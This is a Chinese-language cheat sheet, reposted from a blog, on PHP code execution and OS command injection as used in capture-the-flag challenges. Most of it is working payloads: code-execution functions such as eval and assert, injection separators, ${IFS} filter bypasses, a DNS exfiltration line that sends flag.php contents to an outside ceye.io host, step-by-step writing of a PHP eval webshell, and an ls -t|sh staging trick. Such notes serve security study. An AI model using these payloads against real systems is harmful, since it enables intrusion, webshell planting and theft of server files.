目录
eval()
传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
assert()
call_user_func()/call_user_func_array()
可以传递任何内置函数或用户自定义函数,除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()
create_function()
usort()/uasort()
例如:
?1[]=phpinfo()&1[]=123&2=assert usort($_GET[1],‘assert‘);
${php代码}
例如:${phpinfo()};
ob_start()
system()
exec()/shell_exec()
passthru
``运算符
例子:system("echo ".$_GET[1]);
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?1=123%0apwd |
回车符 | %0d | 同上 |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道符 | |(显示后面语句的结果) | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123||pwd |
使用env命令查看本地变量,expr substr来截取需要的字符,拼接成命令执行
例如:
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
延时
例子:ls;sleep 3
http请求/dns请求
http://ceye.io/payloads
echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
思路:
1、命令+>文件名
可以生产文件(命令可以为空)
2、ls -t
可以将文件按时间顺序排列
3、sh
命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、\可以分行输入命令
w>hp
w>1.p\w>d\>\w>\ -\w>e64\w>bas\w>7\|\w>XSk\w>Fsx\w>dFV\w>kX0\w>bCg\w>XZh\w>AgZ\w>waH\w>PD9\w>o\ \w>ech\ls -t|sh
$_=‘<>]=@^<‘^‘[[){,?[‘;//$_=‘getFlag‘\n $_();//getFlag()
原文:https://www.cnblogs.com/20175211lyz/p/11396392.html